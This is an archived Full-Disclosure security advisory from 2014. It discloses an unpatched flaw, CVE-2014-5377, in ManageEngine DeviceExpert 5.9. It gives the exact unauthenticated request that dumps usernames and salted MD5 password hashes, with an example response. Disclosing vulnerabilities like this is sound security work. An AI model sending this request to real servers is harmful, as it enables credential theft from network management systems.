lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Wed, 27 Aug 2014 19:14:06 +0100
From: Pedro Ribeiro <pedrib@...il.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>,
	bugtraq <bugtraq@...urityfocus.com>
Subject: [FD] [The ManageOwnage Series,
 part II]: User credential disclosure in ManageEngine DeviceExpert

Hi,

You can read the usernames and MD5 hashed passwords of all the users
in the Device Expert application by sending an unauthenticated
request.
I am releasing this as a 0 day as ManageEngine have responded that
they do not consider this a priority and won't fix it in the near
future unless a customer requests it. See details below.

>> User credential disclosure in ManageEngine DeviceExpert 5.9
>> Discovered by Pedro Ribeiro (pedrib@...il.com), Agile Information Security
==========================================================================

>> Background on the affected product:
"DeviceExpert is a web–based, multi vendor network change,
configuration and compliance management (NCCCM) solution for switches,
routers, firewalls and other network devices. Trusted by thousands of
network administrators around the world, DeviceExpert helps automate
and take total control of the entire life cycle of device
configuration management."


>> Technical details:
Vulnerability: User credential disclosure / CVE-2014-5377
Constraints: no authentication or any other information needed.
Affected versions: UNFIXED as of 27/08/2014 - current version 5.9
build 5980 is vulnerable, older versions likely vulnerable

GET /ReadUsersFromMasterServlet

Example response:
<?xml version="1.0"
encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>noreply@...ocorp.com</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>

The passwords are a salted MD5 hash.

A copy of this advisory is available at my repo:
https://raw.githubusercontent.com/pedrib/PoC/master/me_deviceexpert-5.txt

Regards,
Pedro

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists